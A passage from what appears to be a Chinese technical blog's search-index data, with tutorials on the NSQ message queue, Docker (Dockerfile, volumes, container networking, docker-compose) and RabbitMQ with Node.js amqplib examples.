nsqd。如果客户端直接 nsqd ,那么就会出现某些 topic 的 nsqd 在某个地址,另一些 topic 的 nsqd 在另外的地址,试想当我们的 nsqd 集群数量变得越来庞大,topic 的种类也越来越多时,这种直连的方法是有多么的混乱,而 nsqlookupd 就是为了解决这个问题。 所有的 nsqd 都注册到 nsqlookupd 上,然后客户端只需要连接 nsqlookupd 就可以轻松寻址到所有主题。但是,要注意的是 nsqlookupd 只负责寻址,不对消息做任何处理,我们可以认为客户端向 nsqlookupd 寻址完成后,仍然是与 nsqd 直连再进行消息处理。 为了避免 nsqlookupd 的单点故障,部署多个即可。通常一个数据中心部署三个 nsqlookupd 就可以应对成百上千的 nsqd 集群。 ","date":"2018-07-08","objectID":"/nsq/:5:1","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"-mem-queue-size 配置项 -mem-queue-size:队列在内存中保留的消息数量,默认 10000 。一旦消息数量超过了这个阈值,那么超出的消息将被写入到磁盘中,当然你也可以设置为 0 ,这样所有的消息都将被写入到磁盘中,但是需要注意的是即使你这样做了也无法保证消息百分百不丢失,因为 in-flight 状态和 defer 延时状态下的消息仍然是在内存中,所以极端情况下仍旧会丢失。另外对于 clean shutdown 干净退出的情况 nsq 是保证了消息不丢失的,即使在内存中。 简而言之,我们应该放心大胆的使用更可能多的内存。 ","date":"2018-07-08","objectID":"/nsq/:5:2","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"SPOF NSQ 是一个分布式的设计,可以有效的避免 SPOF 单点故障。 如图所示,我们可以轻松的部署足够多的 nsqd 到多台机器上,并让消费者与之连接(这个图简化处理了,我们仍应该使用 nsqlookupd )。每一个 nsqd 之间是相互独立的,没有任何关联。这就是说如果三个 nsqd 具有相同的 topic 和 channel ,我们向它们发送同一条消息,本质上就是分别发送了三条消息,结果就是连接这三个 nsqd 的 consumer 将会收到三条消息。这样做显然有效的提高了可靠性,但是在消费端一定要做好重复消息的处理问题。 ","date":"2018-07-08","objectID":"/nsq/:5:3","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"其它 消息是无序的 消息可能会被传递多次 没有复杂的路由 没有自动化的 replication 副本 ","date":"2018-07-08","objectID":"/nsq/:5:4","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"结语 消息队列并不是大包大揽干掉所有事情,在实际应用中,我们完全可以与 mysql 和 redis 等等一起使用。 NSQ 不得不说是太精致了,水平扩展相当方便,消息传递也非常高效,强烈推荐。 ","date":"2018-07-08","objectID":"/nsq/:6:0","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Kubernetes"],"content":"Docker 入门教程","date":"2018-04-17","objectID":"/docker-guide/","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Kubernetes"],"content":"一 程序明明在我本地跑得好好的,怎么部署上去就出问题了?如果要在同一台物理机上同时部署多个 node 版本并独立运行互不影响,这又该怎么做?如何更快速的将服务部署到多个物理机上? “Build once , run anywhere” ,既可以保证环境的一致性,同时又能更方便的将各个环境相互隔离,还能更快速的部署各种服务,这就是 docker 的能力。 ","date":"2018-04-17","objectID":"/docker-guide/:0:0","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Kubernetes"],"content":"基本概念 一张图慢慢讲: 1、本地开发写好了 code ,首先我们需要通过 build 命令构建 image 镜像,而构建的规则呢,就需要写在这个 dockerfile 文件里。 2、image 镜像是什么?静态的、只读的文件(先不着急,有个基本印象,后面再慢慢讲)。如何更方便的区分不同的镜像呢,通过 tag 命令给镜像打上标签就行了。 3、image 镜像存在哪里?通过 push 命令推送到 repository 镜像仓库,每个仓库可以存放多个镜像。 4、registry 是啥?仓库服务器,所有 repository 仓库都必须依赖于一个 registry 才能提供镜像存储的服务。我们在自己的物理机上安装一个 registry ,这样可以构建自己私有的镜像仓库了。 5、镜像光存到仓库里可没用,还要能部署并运行起来。 6、首先通过 pull 命令将仓库里的镜像拉到服务器上,然后通过 run 命令即可将这个镜像构建成一个 container 容器,容器又是什么?是镜像的运行时,读取镜像里的各种配置文件并如同一个小而独立的服务器一样运行你的各种服务。到这里,你的一个服务就算是部署并运行起来了。 7、数据怎么办?通过 volume 数据卷可以将容器使用的数据挂在到物理机本地,而各个容器之间相互传递处理数据呢,统一通过另一个 volume container 数据卷容器提供数据的服务,数据卷容器也只是一个普通的容器。 8、image 镜像怎么导入导出到本地?通过 save 命令即可导出成压缩包到物理机本地磁盘上,通过 load 命令就可以导入成 docker 环境下的镜像。 9、container 容器的导入导出呢?通过 export 命令同样可以导出到物理机本地磁盘,但是与镜像导出不同的是,这样导出的只是一个容器的快照文件,这就是说它会丢弃所有的历史记录和元数据信息,只记录了当前容器的状态。导入则是 import 命令,但是只能导入为另一个 image 镜像,而不能直接就导入成容器,容器只是一个运行时。 二 ","date":"2018-04-17","objectID":"/docker-guide/:1:0","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Kubernetes"],"content":"镜像 Docker 中的镜像到底是什么?它是一个可供执行的文件系统包,里面包含了运行一个应用程序所需要的代码、库、环境变量和配置文件等等所有内容。 镜像是分层的。它是由一个或多个文件系统叠加而成,最底层是 bootfs 即引导文件系统,我们几乎永远不会与这个东西有什么交互,而且当容器启动时 bootfs 会被卸载掉。第二层是 rootfs ,通常是一个操作系统,其包含了程序运行所需的最基本环境,也称之为基础镜像。第三、第四、第N层,是由我们自己指定的其它资源文件。 镜像层层叠加,向下引用依赖,而 docker 使用了联合加载技术同时加载多层文件系统,使我们可以一起看到所有的文件及其资源,仿佛其并没有被分层,而是一个文件系统一样。 镜像是只读的,也就意味着其无法被更改,这正是保证环境一致性的关键原因。 容器则是镜像的运行时,会在镜像最外层加载一层读写层,这样便能进行文件的读写,但其不会对下层镜像的内容进行修改,应用程序只有通过容器才能启动并对外提供服务。 ","date":"2018-04-17","objectID":"/docker-guide/:2:0","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Kubernetes"],"content":"构建镜像 首先需要准备我们的项目代码: const express = require('express'); const app = express(); const PORT = 8888; app.get('/', async (req, res) =\u003e { res.end(` NODE_NEV : ${process.env.NODE_ENV} \\n Contanier port : ${PORT}`); }); app.listen(PORT); /* 构建镜像:docker build --build-arg NODE_ENV=develop -t docker-demo . 启动容器:docker run --name demo -it -p 9999:8888 docker-demo */ 编写 Dockerfile 文件: # 指定基础镜像 FROM node:8.11.1 # MAINTAINER 新版本已经被废弃,用来声明作者信息,使用 LABEL 代替 # LABEL 通过自定义键值对的形式声明此镜像的相关信息,声明后通过 docker inspect 可以看到 LABEL maintainer=\"rife\" LABEL version=\"1.0.0\" LABEL description=\"This is a test image.\" # WORKDIR 指定工作目录,若不存在则自动创建,其他指令均会以此作为路径。 WORKDIR /work/myapp/ # ADD \u003csrc\u003e \u003cdest\u003e # 将源文件资源添加到镜像的指定目录中,若是压缩文件会自动在镜像中解压,可以通过 url 指定远程的文件 ADD 'https://github.com/nodejscn/node-api-cn/blob/master/README.md' ./test/ # COPY \u003csrc\u003e \u003cdest\u003e # 同样是复制文件资源,但无法解压,无法通过 url 指定远程文件 # 示例:将本地的当前目录所有文件复制到镜像中 WORKDIR 指定的当前目录 COPY ./ ./ # RUN 构建镜像时执行的命令 RUN npm install # ARG 指定构建镜像时可传递的参数,与 ENV 配合使用 # 示例:通过 docker build --build-arg NODE_ENV=develop 可灵活指定环境变量 ARG NODE_ENV # ENV 设置容器运行的环境变量 ENV NODE_ENV=$NODE_ENV # EXPOSE 暴露容器端口,需要在启动时指定其与宿主机端口的映射 EXPOSE 8888 # CMD 容器启动后执行的命令,只执行最后声明的那条命令,会被 docker run 命令覆盖 CMD [\"npm\", \"start\"] # ENTRYPOINT 容器启动后执行的命令,只执行最后声明的那条命令,不会被覆盖掉 # 任何 docker run 设置的指令参数或 CMD 指令,都将作为参数追加到 ENTRYPOINT 指令的命令之后。 在 Dockerfile 中,我们指定了基础镜像、声明了镜像的基础信息,指定了镜像的工作目录,把项目文件添加到了镜像中,指定了环境变量,暴露了容器端口,指定了容器启动后执行的命令。 在复制文件时,我们可以通过 .dockerignore 指定忽略复制到镜像中的文件,用法与 .gitignore 类似。 读者可以仔细阅读上图 Dockerfile 中的注释。 输入指令: docker build --build-arg NODE_ENV=develop -t docker-demo . 通过 -t 指定了镜像的标签,–build-arg 指定了 Dockerfile 中的 ARG 声明的变量,也就是 ENV 环境变量,至此我们就成功的构建了自己的镜像。由于网络原因拉取镜像可能会很慢,读者可以使用 DaoCloud 提供的加速地址(其官网的加速器就是)。 输入命令: docker run --name demo -it -p 9999:8888 docker-demo 通过 –name 指定容器的别名,-p 指定宿主机与容器之间端口的映射,至此我们基于刚刚构建的镜像启动了一个容器,而容器就是镜像的运行时,最后我们在自己的宿主机上访问 localhost:9999 就能连接到 docker 容器内的 web 示例服务了。 镜像是只读的、分层的文件系统,容器是镜像的运行时。重点关注通过 Dockerfile 构建镜像。 三 现在有了 docker,如果要频繁的更改和测试程序时怎么办,每次都重新打一个新的镜像然后启动容器? 容器只是一个运行时,一旦被杀死,其内部的数据都会被清除,但是我们想要数据被持久化,又该怎么办? 不同的容器之间常常需要共享某些数据,这又该解决呢? ","date":"2018-04-17","objectID":"/docker-guide/:3:0","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Kubernetes"],"content":"volume Volume 翻译为卷,因为基本上用于挂载数据,所以也常常直接称之为数据卷。 所谓的挂载数据卷,实际上就是把宿主机本地的目录文件映射到 docker 容器内部的目录下。也就是说实际的目录文件是存放在本地磁盘上的,docker 容器通过挂载的方式可以直接使用本地磁盘上的文件。 如上图所示: 1、Data Volume 数据卷是存放在本地磁盘上,所以数据是持久化的,即使容器被杀死也不会影响数据卷中的数据。 2、不同的容器挂载同一个数据卷就实现了数据的共享。 3、容器对数据卷中操作都是即时的,一个容器改变了数据,那么另一个容器就会即时看到这种改变。 总而言之,挂载数据卷其实就是间接的操作本地磁盘上的数据,所谓间接是因为容器操作的是其内部映射的目录,而不是宿主机本地目录。 ","date":"2018-04-17","objectID":"/docker-guide/:4:0","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Kubernetes"],"content":"数据卷容器 如果有多个容器都需要挂载数据卷,难道需要每一个容器都挂载一遍到本地?当然不是。 如上图所示,这里引入了数据卷容器(图中的 Data Container ),其实就是一个普通的容器,我们只需要通过数据卷容器挂载( -v )一次数据卷,其他需要挂载的容器直接连接( –volumes-from )这个数据卷容器就行了,而再不需要知道实际的宿主机本地目录。 数据卷容器是否存在单点故障?也就是说数据卷容器挂了,其它的容器还能挂载并使用数据吗?答案是仍然能正常使用数据,因为数据卷容器本身只是一个数据卷挂载的配置传递的作用,只要其它容器挂载上就会一直有效,不会因为数据卷容器挂了而产生单点故障。 本节简单讲述了数据卷的相关概念,实际操作只需要通过 docker run 命令启动容器时使用 -v(挂载到本地目录)和 –volumes-from(连接到数据卷容器)参数即可。 四 场景:假设我们有一个 web 应用,需要显示总共连接的次数,同时我们使用另一个 redis 服务去记录这个数值,显然 web 是需要连接到 redis 上的,而在 docker 容器中,每个容器都默认有自己独立的虚拟网络,那么容器之间应该如何连接? ","date":"2018-04-17","objectID":"/docker-guide/:5:0","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Kubernetes"],"content":"link 首先我们启动一个 redis 容器,并通过 –name 指定容器名也叫 redis : docker run --name redis redis 然后,启动 web 容器,通过 –link 指定连接的容器并指定这个连接的名称(注意以下指令都是在 docker run 后面添加的部分): --link redis:redis_connection 而我们的 web 程序中直接使用上面定义的连接名 redis_connetion 即可: const express = require('express'); const Redis = require('ioredis'); const redis = new Redis({ port: 6379, host: 'redis' // --net 自定义网络,使用别名 // host: 'redis_connection' // --link [container]:[alias] // host: 'localhost' // --net=container:[container-name] 使用指定容器的网络 }); const app = express(); const PORT = 8888; app.get('/', async (req, res) =\u003e { try { const r = await redis.incr('count'); res.end(` count: ${r} \\r\\n`); } catch (error) { console.log(error); } }); app.listen(PORT); 这样 web 容器便可以连接上 redis 容器了,如下图所示: 使用 link 方法,其会在容器启动时(容器每次启动都会默认配置不同的虚拟网络)找到连接的目标容器并在本容器内部设置环境变量并修改 /etc/hosts 文件,这也是我们可以直接使用连接别名而不用指定具体 IP 地址的原因。 但是,不建议使用这种方式,同时这种方式也将会在未来被移除。 ","date":"2018-04-17","objectID":"/docker-guide/:6:0","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Kubernetes"],"content":"net 1、net 方式一,如下图所示: 我们先将 redis 容器的端口暴露到本地宿主机,然后在 web 中指定本地宿主机具体的 IP 地址,这样也可以实现连接,但是需要注意的是,在 web 中不能直接使用 localhost ,因为前面已经提到了,每个容器都有自己独立的虚拟网络,使用 localhost 将会指向的是这个容器内部,而不是宿主机。 这种方式,我们也可以看到,很麻烦,一方面 redis 需要暴露端口,另一方面还必须知道宿主机具体的 IP 地址。 2、net 方式二,如下图所示: 这里与前一种方式不同的是,我们直接通过 –net host 指定容器直接使用宿主机网络,这样在 web 中就可以直接通过 localhost 连接到 redis 了,不用知道宿主机具体的 IP 地址,对比上一种方式看似有一点小的改进。 但是这种方式的问题在于,对于 MacOS 系统无法使用,因为在 MacOS 上 Docker 仍然是跑在一层虚拟机中的,这种方式目前还无法穿透这层虚拟机直接将 localhost 映射到宿主机本地,同时,直接使用宿主机网络,容器其实会全部暴露出来,存在安全隐患,因此也不建议使用这种方式。 3、net 方式三,如下图所示: 这里通过 –net container 的方式直接指定 web 使用与 redis 相同的网络,这样既避免了无谓的端口暴露,同时又能保持容器与宿主机之间的隔离,这种方式是建议使用的。 但是存在需要注意的地方,那就是 –net container 指定容器网络与 -p 暴露端口不能同时使用,换句话说,本来我们的 web 容器是需要 -p 暴露端口到宿主机,这样我们才能在本地访问到 web 服务,但是因为我们已经使用了 –net container 指定其使用与 redis 相同的网络,所以不能再使用 -p 了,那怎么办?可以在另一个 redis 容器上使用 -p ,将本来应该由 web 直接暴露的端口间接的由 redis 暴露,毕竟此时我们的 web 和 redis 容器都已经使用了同一个网络,所以这样做也是没问题的,但还是有点别扭的。 ","date":"2018-04-17","objectID":"/docker-guide/:7:0","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Kubernetes"],"content":"自定义网络 官方在宣告 link 方式将会被移除的同时,推荐的替代方式就是自定义网络。 创建一个简单的自定义网络: docker network create -d bridge my-network 将 web 和 redis 容器连接到同一个自定义的网络中,并直接在 web 中的 redis host 指向 redis 容器的别名,即可完成连接,如下图所示: 对于自定义网络,我们不仅能够在容器启动时通过 –net 直接指定,还能够在容器已经启动完成后通过: docker network connect [network-name] [container] 后续添加进去,这也就意味着我们可以方便快速的完成容器网络的切换与迁移。 通过自定义网络,我们还能够定义更加复杂的网络规则,比如网关、子网、IP 地址范围等等,当然更多的细节还请查阅官方文档。 五 假设我们现在需要启动多个容器,这些容器又需要进行不同的数据挂载,容器之间也需要相互连接,显然,如果按照传统的方法通过 docker run 指令启动他们将会是非法麻烦的,这里我们就需要用到 docker-compose 进行容器编排。 ","date":"2018-04-17","objectID":"/docker-guide/:8:0","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Kubernetes"],"content":"docker-compose 这里我们使用一个简单的示例:一个 web 服务,一个 redis 数据库,web 服务挂载本地的数据方便调试,同时也需要连接上 redis 进行操作。 首先在进行编排时,我们将一个大的项目称之为 project ,默认名称为项目文件夹的名称,可以通过设置环境变量 COMPOSE_PROJECT_NAME 改变。在 project 之下,会有多个 service 服务,这是编排的基本单位,比如示例中的 web 和 redis 就是两个不同的 service 。 docker-compose.yml: version: '3' # 指定 compose 的版本 services: web: # 定义 service # build: # 重新构建镜像 # context: . # 构建镜像的上下文(本地相对路径) # dockerfile: Dockerfile # 指定 dockerfile 文件 # args: # 构建镜像时使用的环境变量 # - NODE_ENV=develop container_name: web-container # 容器名称 image: docker-demo # 使用已存在的镜像 ports: # 端口映射 - \"9999:8888\" networks: # 网络 - my-network depends_on: # service 之间的依赖 - redis volumes: # 挂载数据 - \"./:/work/myapp/\" restart: always # 重启设置 env_file: # 环境变量配置文件, key=value - ./docker.env environment: # 设置环境变量, 会覆盖 env 中相同的环境变量 NODE_ENV: abc command: npm run test # 容器启动后执行的指令 redis: container_name: redis-container image: redis:latest networks: - my-network networks: # 自定义网络 my-network: 如上所示,首先需要指定 compose 的版本,不同版本之间存在一定的差异,具体的需要查阅官方文档。 然后,在 services 这个 top-level 下面指明各个具体的 service 比如 web 和 redis ,在具体的 service 下面再进行详细的配置: build:通过 dockerfile 重新构建镜像 container_name:指定容器的名称 image:直接使用已存在的镜像 ports:设置端口映射 networks:设置容器所在的网络 depends_on:设置依赖关系 volumes:设置数据挂载 restart:设置重启 env_file:设置环境变量的集中配置文件 environment:同样是设置环境变量 command:容器启动后执行的指令 在具体 service 下指定的 networks 必须对应存在于 top-level 的 networks 中,名称可以随意取,所有具有相同 networks 的 service 也就可以进行相互连接,这样就是一个定义网络。 通过 depends_on 设置的依赖关系会决定容器启动的先后顺序,在示例中,由于我们指定了 web 是依赖于 redis 的,所以会启动 redis 之后再启动 web ,但是这里的判断标准是容器运行了就继续启动下一个,如果你想更好的控制启动顺序,可以使用 wait-for-it 或者 dockerize 等官方推荐的第三方开源工具。 至于 volumes ,你可以使用传统挂载设置(示例中就是的),也可以通过自命名的方法,但是如果使用了自命名,其与 networks 类似,必须对应存在于 top-level 的 volumes 之中。 对于环境变量,既可以通过 environment 单独设置,也可以将所有的环境变量集中配置到 env 文件中,然后通过 env_file 引用。 以上就是一些简单且常用的配置。配置完成之后,通过: docker-compose up 就可以一次启动所有容器了,启动完成后同样可以通过 compose 的其他指令诸如:pause、unpause、start、stop、restart、kill、down 等等进行其他操作。 写到这里,其实我们已经完成了从构建镜像到容器编排整个流程,这里先告一段落。但是目前我们所基于的却一直是单主机环境,而对于多主机等更复杂的环境下如何快速方便的满足生产上的各种需求,我们就不得不提到 swarm 和 kubernetes(简称 k8s ),从目前来看,k8s 已然成为了主流,后续有机会将会围绕 k8s 写一写系列文章。 ","date":"2018-04-17","objectID":"/docker-guide/:9:0","tags":["Docker","Kubernetes"],"title":"Docker 入门教程","uri":"/docker-guide/"},{"categories":["Middleware"],"content":"RabbitMQ 入门教程及示例","date":"2018-02-27","objectID":"/rabbitmq/","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"一 消息中间件 MQ(也称消息队列)的基本功能是传递和转发消息,其最重要的作用是能够解耦业务及系统架构,可以说是一个系统发展壮大到一定阶段绕不开的东西。 而 RabbitMQ 是对 AMQP(高级消息队列协议)的实现,成熟可靠并且开源,本系列文章将会讲述如何在 node 中入门这一利器。 ","date":"2018-02-27","objectID":"/rabbitmq/:1:0","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"RabbitMQ 概述 先来简单的了解一下 RabbitMQ 相关的基本概念: Producer :生产者,生成消息并把消息发送给 RabbitMQ 。 Consumer :消费者,从 RabbitMQ 中接收消息。 Exchange :交换器,具有路由的作用,将生产者传递的消息根据不同的路由规则传递到对应的队列中。交换器具有四种不同的类型,每种类型对应不同的路由规则。 Queue :队列,实际存储消息的地方,消费者通过订阅队列来获取队列中的消息。 Binding :绑定交换器和队列,只有绑定后消息才能被交换器分发到具体的队列中,用一个字符串来代表 Binding Key 。 消息是如何由生产者传递到消费者: 生产者 Producer 生成消息 msg ,并指定这条消息的路由键 Routing Key ,然后将消息传递给交换器 Exchange 。 交换器 Exchange 接收到消息后根据 Exchange Type 也就是交换器类型以及交换器和队列的 Binding 绑定关系来判断路由规则并分发消息到具体的队列 Queue 中。 消费者 Consumer 通过订阅具体的队列,一旦队列接收到消息便会将其传递给消费者。 这里的 Routing Key 和 Binding 我是按照自己的理解解释的,与某些参考资料是有出入的,读者理解就好。 当然完成上述三个步骤还缺少两个关键的东西: Connection :连接,不论生产者还是消费者想要使用 RabbitMQ 都必须首先建立到 RabbitMQ 的 TCP 连接。 Channel :信道,建立完 TCP 连接后还必须建立一个信道,消息都是在信道中传递和操作的。 上图形象的展示了连接和信道之间的关系,一个连接中可以建立多个信道,而且每个信道之间都是完全隔离的,同时我们需要记住的是创建和销毁 TCP 连接是很消耗资源的,而信道则不是,所以能够通过创建多个信道来隔离环境的不要通过创建多个连接。 ","date":"2018-02-27","objectID":"/rabbitmq/:1:1","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"交换器类型 交换器具有路由分发消息的作用,其有四种不同的类型,每种类型对应不同的路由规则: fanout :广播,将消息传递给所有该交换器绑定的队列。 direct :直连,将消息传递给 Routing Key 与 Binding Key完全一致的队列中,可以有多个队列。 topic :模糊匹配,Binding Key 是一个可以用符号 . 分隔单词的字符串,模糊匹配下,符号 * 用于匹配任意一个单词,符号 # 用于匹配零个或多个单词。 headers :这个比较特殊,是根据消息中具体内容的 header 属性来作为路由规则的,这种类型对资源消耗太大,一般很少使用,前面三种类型就够了。 ","date":"2018-02-27","objectID":"/rabbitmq/:1:2","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"二 ","date":"2018-02-27","objectID":"/rabbitmq/:2:0","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"流程 我们先来了解一下 RabbitMQ 的一般使用流程。 建立到 RabbitMQ 的连接。 创建信道。 声明交换器。 声明队列。 绑定交换器和队列。 消息操作。生产者:生成并发布消息;消费者:订阅并消费消息。 关闭信道。 关闭连接。 不论是生产者投递消息,还是消费者接受消息一般都遵循以上步骤,但针对具体的情况仍会有调整,比如声明交换器、声明队列、绑定交换器和队列,我们只需要在生产者或消费者其中之一进行,甚至隔离出来独立维护,只要保证在发布或消费消息之前交换器、队列、绑定等是有效的即可。 ","date":"2018-02-27","objectID":"/rabbitmq/:2:1","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"Hello World 示例 第一个示例,实现基本的投递和接收消息。 生产者投递消息(send.js): const amqp = require('amqplib'); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const queueName = 'hello'; const msg = 'Hello world'; await ch.assertQueue(queueName, { durable: false }); //声明队列,durable:false 不对队列持久化 ch.sendToQueue(queueName, new Buffer(msg)); //发送消息 console.log(' [x] Sent %s', msg); await ch.close(); //关闭信道 await conn.close(); //关闭连接 } catch (error) { console.log(error); } })() 消费者接收消息(receive.js): const amqp = require('amqplib'); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const queueName = 'hello'; await ch.assertQueue(queueName, { durable: false }); //声明队列,durable:false 不对队列持久化 console.log(\" [*] Waiting for messages in queue: %s. To exit press CTRL+C\", queueName); ch.consume(queueName, msg =\u003e { //订阅队列接受消息 console.log(\" [x] Received %s\", msg.content.toString()); }, { noAck: true }); // noAck:true 不进行确认接受应答 } catch (error) { console.log(error); } })() 对比上述流程,你会发现为什么没有交换器 Exchange 存在的身影呢?这是因为 RabbitMQ 存在一个默认交换器,类型为 direct (直连),每个新建的队列会自动绑定到默认交换器上,并且以队列的名称作为绑定路由规则。 声明队列时,同一个队列其属性前后相同时,重复声明不会有任何影响,反之其属性前后不相同时,重复声明会抛出一个错误,这种情况要注意不得重复声明,当然如果这个队列被声明有效了也不需要再次声明。 从上例中我们也了解到了队列的一个属性 durable,这个属性表明是否对队列进行持久化,也就是保存到磁盘上,一旦 RabbitMQ 服务器重启,持久化的队列可以被重新恢复。 消费者 consume 订阅接收消息时使用了另一个属性 noAck,这个属性表明消费者在接收到消息后是否需要向 RabbitMQ 服务器确认收到该消息。与之相对的是发后即忘模式,也就是 RabbitMQ 服务器向消费者发送完消息后即认为成功,无需等待消费者确认接收应答,这种模式吞吐量更高,但可靠性显然不如确认应答模式,而确认应答模式,我们需要注意的是, RabbitMQ 服务器若没有接收到 ack 确认会一直将该消息保存,如果消费者挂了就会造成消息持续堆叠不断占用内存的情况,极端情况下资源过载会造成 RabbitMQ 服务器重启,同时未被 ack 确认的消息会被尝试重新发送给消费者。 ","date":"2018-02-27","objectID":"/rabbitmq/:2:2","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"Work queues 第二个示例,向多个消费者分发投递消息。 生产者投递消息(new_task.js): const amqp = require('amqplib'); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const queueName = 'task_queue'; await ch.assertQueue(queueName, { durable: true }); //声明队列,durable:true 持久化队列 for (let i = 1; i \u003c 10; i++) { //生成 9 条信息并在尾部添加小数点 let msg = i.toString().padEnd(i+1, '.'); ch.sendToQueue(queueName, new Buffer(msg), { persistent: true }); //发送消息,persistent:true 将消息持久化 console.log(\" [x] Sent '%s'\", msg); } await ch.close(); //关闭信道 await conn.close(); //关闭连接 } catch (error) { console.log(error); } })() 消费者接收消息(worker.js): const amqp = require('amqplib'); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const queueName = 'task_queue'; await ch.assertQueue(queueName, { durable: true }); //声明队列 ch.prefetch(1); //每次接收不超过指定数量的消息 console.log(\" [*] Waiting for messages in %s. To exit press CTRL+C\", queueName); ch.consume(queueName, msg =\u003e { const secs = msg.content.toString().split('.').length - 1; console.log(\" [x] Received %s\", msg.content.toString()); setTimeout(() =\u003e { //根据小数点的个数设置延时时长 console.log(\" [x] Done\"); ch.ack(msg); //确认接收消息 }, secs * 1000); }, { noAck: false }); //对消息需要接收确认 } catch (error) { console.log(error); } })() 我们在 shell 中运行多个 worker.js 会发现消息被一个一个分发到了不同的 worker 消费者,且同一条消息不会被重复发送给多个 worker 。 在这个示例中,我们对队列进行了持久化,并且在消费端使用了 ack 确认接收消息。发送消息时,我们使用了 persistent 属性,这个属性表明是否将消息持久化。另外,对消费者而言,还使用了 ch.prefetch() 方法,这个方法表明该消费者每次最多接收的消息数量,这样做是因为某些情况下消费消息是一个很耗时的业务操作,某些 worker 可能处于繁忙状态,而另外一些 worker 则很空闲,通过 prefetch 和 ack 其实是实现了类似于负载均衡的功能,也就是将消息分发给空闲的 worker 消费。 ","date":"2018-02-27","objectID":"/rabbitmq/:2:3","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"三 我们再来回顾一遍 RabbitMQ 的一般使用流程: 建立到 RabbitMQ 的连接。 创建信道。 声明交换器。 声明队列。 绑定交换器和队列。 消息操作。生产者:生成并发布消息;消费者:订阅并消费消息。 关闭信道。 关闭连接。 交换器 Exchange 的四种类型: fanout:广播,将消息传递给所有该交换器绑定的队列。 direct :直连,将消息传递给 Routing Key 与 Binding Key完全一致的队列中,可以有多个队列。 topic :模糊匹配,Binding Key 是一个可以用符号 . 分隔单词的字符串,模糊匹配下,符号 * 用于匹配任意一个单词,符号 # 用于匹配零个或多个单词。 headers :根据消息中具体内容的 header 属性来作为路由规则的,这种类型对资源消耗太大且很少使用,本节不对此类型进行讲述。 ","date":"2018-02-27","objectID":"/rabbitmq/:3:0","tags":["MQ","Node.js","RabbitMQ"],"title":"RabbitMQ 入门教程及示例","uri":"/rabbitmq/"},{"categories":["Middleware"],"content":"Publish/Subscribe 此示例重点关注交换器 Exchange 的 fanout 类型。 消费者接收消息(receive_log.js): const amqp = require('amqplib'); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const ex = 'logs'; await ch.assertExchange(ex, 'fanout', { durable: false }); //声明交换器 const q = await ch.assertQueue('', { exclusive: true }); //声明队列,临时队列即用即删 console.log(\" [*] Waiting for messages in %s. To exit press CTRL+C\", q.queue); await ch.bindQueue(q.queue, ex, ''); //绑定交换器和队列,参数:队列名、交换器名、绑定键值 ch.consume(q.queue, msg =\u003e { //订阅队列接收消息 console.log(\" [x] %s\", msg.content.toString()); }, { noAck: true }); } catch (error) { console.log(error); } })() 生产者投递消息(emit_log.js): const amqp = require('amqplib'); (async () =\u003e { try { const conn = await amqp.connect('amqp://localhost'); //建立连接 const ch = await conn.createChannel(); //建立信道 const ex = 'logs'; const msg = process.argv.slice(2).join(' ') || 'Hello World!'; await ch.assertExchange(ex, 'fanout', { durable: false }); //声明 exchange ,类型为 fanout ,不持久化 ch.publish(ex, '', new Buffer(msg)); //发送消息,fanout 类型无需指定 routing key console.log(\" [x] Sent %s\", msg); await ch.close(); //关闭信道 await conn.close(); //关闭连接 } catch (error) { console.log(error); } })(); fanout 类型的交换器会直接将消息广播到所有与其绑定的队列,所以绑定交换器与队列时无需指定 binding key (空字符串),投递消息时也无需指定 routing key (空字符串)。 交换器与队列一样具有 